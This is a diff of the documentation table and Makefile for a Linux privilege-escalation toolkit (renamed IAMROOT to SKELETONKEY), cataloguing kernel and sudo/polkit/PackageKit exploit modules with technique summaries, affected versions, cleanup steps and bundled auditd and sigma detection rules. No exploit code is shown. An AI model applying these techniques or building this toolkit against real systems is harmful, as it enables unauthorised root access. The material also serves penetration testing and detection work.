| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/iamroot-pwnkit-* workdirs. **First userspace LPE in IAMROOT**. Ships auditd + sigma rules. |
|
||||
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/skeletonkey-pwnkit-* workdirs. **First userspace LPE in SKELETONKEY**. Ships auditd + sigma rules. |
|
||||
| CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🟡 | Hand-rolled nfnetlink batch builder (no libmnl dep) constructs the NFT_GOTO+NFT_DROP malformed verdict in a pipapo set, fires the double-free, sprays msg_msg in kmalloc-cg-96 and snapshots slabinfo. Stops before the Notselwyn pipapo R/W dance (per-kernel offsets refused). Branch-backport thresholds: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269. Also gates on unprivileged user_ns clone availability. |
|
||||
| CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🟢 | Full vsh-style exploit (userns+overlayfs mount + xattr file-cap injection + exec). **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, and with `--active` attempts the mount as a fork-isolated probe. Ships auditd rules covering mount(overlay) + setxattr(security.capability). |
|
||||
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
|
||||
@@ -42,11 +78,21 @@ Status legend:
|
||||
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
|
||||
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
|
||||
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
|
||||
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `IAMROOT_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
|
||||
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
|
||||
| CVE-2022-0185 | legacy_parse_param fsconfig heap OOB → container-escape | LPE (cross-cache UAF → cred overwrite from rootless container) | mainline 5.16.2 (Jan 2022) | `fuse_legacy` | 🟡 | userns+mountns reach, fsopen("cgroup2") + double fsconfig SET_STRING fires the 4k OOB, msg_msg cross-cache groom in kmalloc-4k, MSG_COPY read-back detects whether the OOB landed in an adjacent neighbour. Stops before the m_ts overflow → MSG_COPY arbitrary read chain (scaffold present, no per-kernel offsets). **Container-escape angle** — relevant to rootless docker/podman/snap. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. |
|
||||
| CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | LPE (kernel R/W via maple node use-after-RCU) | mainline 6.4-rc4 (Jul 2023) | `stackrot` | 🟡 | Two-thread race driver (MAP_GROWSDOWN + mremap rotation vs fork+fault) with cpu pinning + 3 s budget; kmalloc-192 spray for anon_vma/anon_vma_chain; race-iteration + signal breadcrumb. Honest reliability note in module header: **~<1% race-win/run on a vulnerable kernel** — the public PoC averages minutes-to-hours and needs a much wider VMA staging matrix to be reliable. Useful as a "is the maple-tree path reachable here?" probe. Branch backports: 6.4.4 / 6.3.13 / 6.1.37. |
|
||||
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `iamroot-af-packet` audit key with CVE-2017-7308. |
|
||||
| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
|
||||
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `skeletonkey-af-packet` audit key with CVE-2017-7308. |
|
||||
| CVE-2023-32233 | nf_tables anonymous-set UAF | LPE (kernel UAF in nft_set transaction) | mainline 6.4-rc4 (May 2023) | `nft_set_uaf` | 🟡 | Sondej+Krysiuk. Hand-rolled nfnetlink batch (NEWTABLE → NEWCHAIN → NEWSET(ANON\|EVAL) → NEWRULE(lookup) → DELSET → DELRULE) drives the deactivation skip; cg-512 msg_msg cross-cache spray. Branch backports: 4.19.283 / 5.4.243 / 5.10.180 / 5.15.111 / 6.1.28 / 6.2.15 / 6.3.2. --full-chain forges freed-set with `set->data = kaddr`. |
|
||||
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
|
||||
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
|
||||
| CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | 🟡 | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. |
|
||||
| CVE-2021-3156 | sudo Baron Samedit — `sudoedit -s` heap overflow | LPE (userspace setuid sudo) | sudo 1.9.5p2 (Jan 2021) | `sudo_samedit` | 🟡 | Qualys Baron Samedit. Heap overflow via `sudoedit -s '\'` escaped-backslash parsing. Affects sudo 1.8.2 ≤ V ≤ 1.9.5p1. Heap-tuned exploit — may crash sudo on a mismatched layout. Ships auditd + sigma rules. |
|
||||
| CVE-2021-33909 | Sequoia — `seq_file` size_t overflow → kernel stack OOB | LPE (kernel stack OOB write) | mainline 5.13.4 / 5.10.52 / 5.4.134 (Jul 2021) | `sequoia` | 🟡 | Qualys Sequoia. `size_t`-to-`int` conversion in `seq_file` drives an OOB write off the kernel stack via a deeply-nested directory mount. Primitive-only — fires the overflow + records a witness; no portable cred chain. Branch backports: 5.13.4 / 5.10.52 / 5.4.134. Ships auditd rule. |
|
||||
| CVE-2023-22809 | sudoedit `EDITOR`/`VISUAL` `--` argv escape | LPE (userspace setuid sudoedit) | sudo 1.9.12p2 (Jan 2023) | `sudoedit_editor` | 🟢 | Structural argv-injection — an extra `--` in `EDITOR`/`VISUAL` makes setuid `sudoedit` open an attacker-chosen file as root. No kernel state, no offsets, no race. Affects sudo 1.8.0 ≤ V < 1.9.12p2. Ships auditd + sigma rules. |
|
||||
| CVE-2023-2008 | vmwgfx DRM buffer-object size-validation OOB | LPE (kernel R/W via kmalloc-512 OOB) | mainline 6.3-rc6 (Apr 2023) | `vmwgfx` | 🟡 | vmwgfx DRM `bo` size-validation gap → OOB write in kmalloc-512. Affects 4.0 ≤ K < 6.3-rc6 on hosts with the `vmwgfx` module loaded (VMware guests). Primitive-only — fires the OOB + slab witness; no cred chain. Branch backports: 6.2.10 / 6.1.23. Ships auditd rule. |
|
||||
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
|
||||
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
|
||||
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
|
||||
|
||||
## Operations supported per module
|
||||
|
||||
@@ -74,6 +120,17 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
|
||||
| af_packet2 | ✓ | ✓ (primitive) | — (upgrade kernel) | — | ✓ (auditd, shared key) |
|
||||
| fuse_legacy | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||
| stackrot | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (log unlink) | ✓ (auditd) |
|
||||
| nft_set_uaf | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
|
||||
| af_unix_gc | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||
| nft_fwd_dup | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||
| nft_payload | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
|
||||
| sudo_samedit | ✓ | ✓ (primitive) | — (upgrade sudo) | ✓ (crumb nuke) | ✓ (auditd + sigma) |
|
||||
| sequoia | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (nested-tree + mount teardown) | ✓ (auditd) |
|
||||
| sudoedit_editor | ✓ | ✓ | — (upgrade sudo) | ✓ (revert written file) | ✓ (auditd + sigma) |
|
||||
| vmwgfx | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (log unlink) | ✓ (auditd) |
|
||||
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
|
||||
|
||||
## Pipeline for additions
|
||||
|
||||
@@ -96,7 +153,7 @@ the relevant distro drops out of the "WORKING" list for that module.
|
||||
## Why we exclude some things
|
||||
|
||||
- **0-days the maintainer found themselves**: those go through
|
||||
responsible disclosure first, then enter IAMROOT after upstream patch
|
||||
responsible disclosure first, then enter SKELETONKEY after upstream patch
|
||||
- **kCTF VRP submissions in flight**: same as above; disclosure
|
||||
before bundling
|
||||
- **Hardware-specific side channels** (Spectre/Meltdown variants):
|
||||
|
||||
@@ -1,15 +1,15 @@
|
||||
# IAMROOT — top-level Makefile (Phase 1)
|
||||
# SKELETONKEY — top-level Makefile (Phase 1)
|
||||
#
|
||||
# Builds one binary `iamroot` linked from:
|
||||
# Builds one binary `skeletonkey` linked from:
|
||||
# - core/ module interface + registry
|
||||
# - modules/<f>/ one family per subdir, contributes objects to the
|
||||
# final binary
|
||||
# - iamroot.c top-level dispatcher
|
||||
# - skeletonkey.c top-level dispatcher
|
||||
#
|
||||
# Each family is currently flat (Phase 1 keeps copy_fail_family's
|
||||
# absorbed DIRTYFAIL source in modules/copy_fail_family/src/).
|
||||
# Future families register the same way: add their register_* call to
|
||||
# iamroot.c's main() and add their src dir to MODULE_DIRS below.
|
||||
# skeletonkey.c's main() and add their src dir to MODULE_DIRS below.
|
||||
|
||||
CC ?= gcc
|
||||
CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
|
||||
@@ -17,106 +17,265 @@ CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
|
||||
LDFLAGS ?=
|
||||
|
||||
BUILD := build
|
||||
BIN := iamroot
|
||||
BIN := skeletonkey
|
||||
|
||||
# core/
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c \
|
||||
core/host.c core/cve_metadata.c core/verifications.c
|
||||
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
|
||||
|
||||
# Register-every-module helper. Lives in its own translation unit so
|
||||
# the kernel_range unit-test binary can link just CORE_OBJS without
|
||||
# pulling in every module symbol via registry_all.o.
|
||||
REGISTRY_ALL_OBJ := $(BUILD)/core/registry_all.o
|
||||
|
||||
# Family: copy_fail_family
|
||||
# All DIRTYFAIL .c files contribute; iamroot_modules.c is the bridge.
|
||||
# All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
|
||||
CFF_DIR := modules/copy_fail_family
|
||||
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/iamroot_modules.c
|
||||
# Filter out the original dirtyfail.c (its main() conflicts with iamroot.c's main).
|
||||
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/skeletonkey_modules.c
|
||||
# Filter out the original dirtyfail.c (its main() conflicts with skeletonkey.c's main).
|
||||
CFF_SRCS := $(filter-out $(CFF_DIR)/src/dirtyfail.c, $(CFF_SRCS))
|
||||
CFF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CFF_SRCS))
|
||||
|
||||
# Family: dirty_pipe (single-CVE family, no shared infrastructure)
|
||||
DP_DIR := modules/dirty_pipe_cve_2022_0847
|
||||
DP_SRCS := $(DP_DIR)/iamroot_modules.c
|
||||
DP_SRCS := $(DP_DIR)/skeletonkey_modules.c
|
||||
DP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS))
|
||||
|
||||
# Family: entrybleed (single-CVE family, x86_64 only)
|
||||
EB_DIR := modules/entrybleed_cve_2023_0458
|
||||
EB_SRCS := $(EB_DIR)/iamroot_modules.c
|
||||
EB_SRCS := $(EB_DIR)/skeletonkey_modules.c
|
||||
EB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS))
|
||||
|
||||
# Family: pwnkit (userspace polkit bug, not kernel)
|
||||
PK_DIR := modules/pwnkit_cve_2021_4034
|
||||
PK_SRCS := $(PK_DIR)/iamroot_modules.c
|
||||
PK_SRCS := $(PK_DIR)/skeletonkey_modules.c
|
||||
PK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PK_SRCS))
|
||||
|
||||
# Family: nf_tables (CVE-2024-1086)
|
||||
NFT_DIR := modules/nf_tables_cve_2024_1086
|
||||
NFT_SRCS := $(NFT_DIR)/iamroot_modules.c
|
||||
NFT_SRCS := $(NFT_DIR)/skeletonkey_modules.c
|
||||
NFT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFT_SRCS))
|
||||
|
||||
# Family: overlayfs (CVE-2021-3493)
|
||||
OVL_DIR := modules/overlayfs_cve_2021_3493
|
||||
OVL_SRCS := $(OVL_DIR)/iamroot_modules.c
|
||||
OVL_SRCS := $(OVL_DIR)/skeletonkey_modules.c
|
||||
OVL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OVL_SRCS))
|
||||
|
||||
# Family: cls_route4 (CVE-2022-2588)
|
||||
CR4_DIR := modules/cls_route4_cve_2022_2588
|
||||
CR4_SRCS := $(CR4_DIR)/iamroot_modules.c
|
||||
CR4_SRCS := $(CR4_DIR)/skeletonkey_modules.c
|
||||
CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS))
|
||||
|
||||
# Family: dirty_cow (CVE-2016-5195) — requires -pthread
|
||||
DCOW_DIR := modules/dirty_cow_cve_2016_5195
|
||||
DCOW_SRCS := $(DCOW_DIR)/iamroot_modules.c
|
||||
DCOW_SRCS := $(DCOW_DIR)/skeletonkey_modules.c
|
||||
DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS))
|
||||
|
||||
# Family: ptrace_traceme (CVE-2019-13272)
|
||||
PTM_DIR := modules/ptrace_traceme_cve_2019_13272
|
||||
PTM_SRCS := $(PTM_DIR)/iamroot_modules.c
|
||||
PTM_SRCS := $(PTM_DIR)/skeletonkey_modules.c
|
||||
PTM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTM_SRCS))
|
||||
|
||||
# Family: netfilter_xtcompat (CVE-2021-22555)
|
||||
NXC_DIR := modules/netfilter_xtcompat_cve_2021_22555
|
||||
NXC_SRCS := $(NXC_DIR)/iamroot_modules.c
|
||||
NXC_SRCS := $(NXC_DIR)/skeletonkey_modules.c
|
||||
NXC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NXC_SRCS))
|
||||
|
||||
# Family: af_packet (CVE-2017-7308)
|
||||
AFP_DIR := modules/af_packet_cve_2017_7308
|
||||
AFP_SRCS := $(AFP_DIR)/iamroot_modules.c
|
||||
AFP_SRCS := $(AFP_DIR)/skeletonkey_modules.c
|
||||
AFP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP_SRCS))
|
||||
|
||||
# Family: fuse_legacy (CVE-2022-0185)
|
||||
FUL_DIR := modules/fuse_legacy_cve_2022_0185
|
||||
FUL_SRCS := $(FUL_DIR)/iamroot_modules.c
|
||||
FUL_SRCS := $(FUL_DIR)/skeletonkey_modules.c
|
||||
FUL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FUL_SRCS))
|
||||
|
||||
# Family: stackrot (CVE-2023-3269)
|
||||
STR_DIR := modules/stackrot_cve_2023_3269
|
||||
STR_SRCS := $(STR_DIR)/iamroot_modules.c
|
||||
STR_SRCS := $(STR_DIR)/skeletonkey_modules.c
|
||||
STR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(STR_SRCS))
|
||||
|
||||
# Family: af_packet2 (CVE-2020-14386) — same family as af_packet
|
||||
AFP2_DIR := modules/af_packet2_cve_2020_14386
|
||||
AFP2_SRCS := $(AFP2_DIR)/iamroot_modules.c
|
||||
AFP2_SRCS := $(AFP2_DIR)/skeletonkey_modules.c
|
||||
AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS))
|
||||
|
||||
# Family: cgroup_release_agent (CVE-2022-0492)
|
||||
CRA_DIR := modules/cgroup_release_agent_cve_2022_0492
|
||||
CRA_SRCS := $(CRA_DIR)/iamroot_modules.c
|
||||
CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
|
||||
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
|
||||
|
||||
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
|
||||
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
|
||||
OSU_SRCS := $(OSU_DIR)/iamroot_modules.c
|
||||
OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
|
||||
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
|
||||
|
||||
# Family: nft_set_uaf (CVE-2023-32233)
|
||||
NSU_DIR := modules/nft_set_uaf_cve_2023_32233
|
||||
NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
|
||||
NSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NSU_SRCS))
|
||||
|
||||
# Family: af_unix_gc (CVE-2023-4622)
|
||||
AUG_DIR := modules/af_unix_gc_cve_2023_4622
|
||||
AUG_SRCS := $(AUG_DIR)/skeletonkey_modules.c
|
||||
AUG_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AUG_SRCS))
|
||||
|
||||
# Family: nft_fwd_dup (CVE-2022-25636)
|
||||
NFD_DIR := modules/nft_fwd_dup_cve_2022_25636
|
||||
NFD_SRCS := $(NFD_DIR)/skeletonkey_modules.c
|
||||
NFD_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFD_SRCS))
|
||||
|
||||
# Family: nft_payload (CVE-2023-0179)
|
||||
NPL_DIR := modules/nft_payload_cve_2023_0179
|
||||
NPL_SRCS := $(NPL_DIR)/skeletonkey_modules.c
|
||||
NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
|
||||
|
||||
SAM_DIR := modules/sudo_samedit_cve_2021_3156
|
||||
SAM_SRCS := $(SAM_DIR)/skeletonkey_modules.c
|
||||
SAM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SAM_SRCS))
|
||||
|
||||
SEQ_DIR := modules/sequoia_cve_2021_33909
|
||||
SEQ_SRCS := $(SEQ_DIR)/skeletonkey_modules.c
|
||||
SEQ_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SEQ_SRCS))
|
||||
|
||||
SUE_DIR := modules/sudoedit_editor_cve_2023_22809
|
||||
SUE_SRCS := $(SUE_DIR)/skeletonkey_modules.c
|
||||
SUE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUE_SRCS))
|
||||
|
||||
VMW_DIR := modules/vmwgfx_cve_2023_2008
|
||||
VMW_SRCS := $(VMW_DIR)/skeletonkey_modules.c
|
||||
VMW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VMW_SRCS))
|
||||
|
||||
# Family: dirtydecrypt (CVE-2026-31635) — rxgk page-cache write
|
||||
DDC_DIR := modules/dirtydecrypt_cve_2026_31635
|
||||
DDC_SRCS := $(DDC_DIR)/skeletonkey_modules.c
|
||||
DDC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DDC_SRCS))
|
||||
|
||||
# Family: fragnesia (CVE-2026-46300) — XFRM ESP-in-TCP page-cache write
|
||||
FGN_DIR := modules/fragnesia_cve_2026_46300
|
||||
FGN_SRCS := $(FGN_DIR)/skeletonkey_modules.c
|
||||
FGN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FGN_SRCS))
|
||||
|
||||
# Family: pack2theroot (CVE-2026-41651) — PackageKit TOCTOU userspace LPE.
|
||||
# Needs GLib/GIO for D-Bus; the build autodetects via `pkg-config gio-2.0`.
|
||||
# When absent (e.g. no libglib2.0-dev on the build host), the module
|
||||
# compiles as a stub that returns PRECOND_FAIL with a hint to install
|
||||
# the dev package and rebuild.
|
||||
P2TR_DIR := modules/pack2theroot_cve_2026_41651
|
||||
P2TR_SRCS := $(P2TR_DIR)/skeletonkey_modules.c
|
||||
P2TR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(P2TR_SRCS))
|
||||
|
||||
P2TR_GIO_OK := $(shell pkg-config --exists gio-2.0 2>/dev/null && echo 1 || echo 0)
|
||||
ifeq ($(P2TR_GIO_OK),1)
|
||||
P2TR_CFLAGS := $(shell pkg-config --cflags gio-2.0) -DPACK2TR_HAVE_GIO
|
||||
P2TR_LIBS := $(shell pkg-config --libs gio-2.0)
|
||||
else
|
||||
P2TR_CFLAGS :=
|
||||
P2TR_LIBS :=
|
||||
endif
|
||||
|
||||
# Per-object CFLAGS for the pack2theroot translation unit (GLib include
|
||||
# paths). Target-specific vars are scoped to this object's recipe.
|
||||
$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
|
||||
|
||||
# Family: sudo_chwoot (CVE-2025-32463) — sudo --chroot NSS injection
|
||||
SCHW_DIR := modules/sudo_chwoot_cve_2025_32463
|
||||
SCHW_SRCS := $(SCHW_DIR)/skeletonkey_modules.c
|
||||
SCHW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SCHW_SRCS))
|
||||
|
||||
# Family: udisks_libblockdev (CVE-2025-6019) — SUID-on-mount via polkit allow_active
|
||||
UDB_DIR := modules/udisks_libblockdev_cve_2025_6019
|
||||
UDB_SRCS := $(UDB_DIR)/skeletonkey_modules.c
|
||||
UDB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(UDB_SRCS))
|
||||
|
||||
# Family: pintheft (CVE-2026-43494) — RDS zerocopy double-free (V12 Security)
|
||||
PTH_DIR := modules/pintheft_cve_2026_43494
|
||||
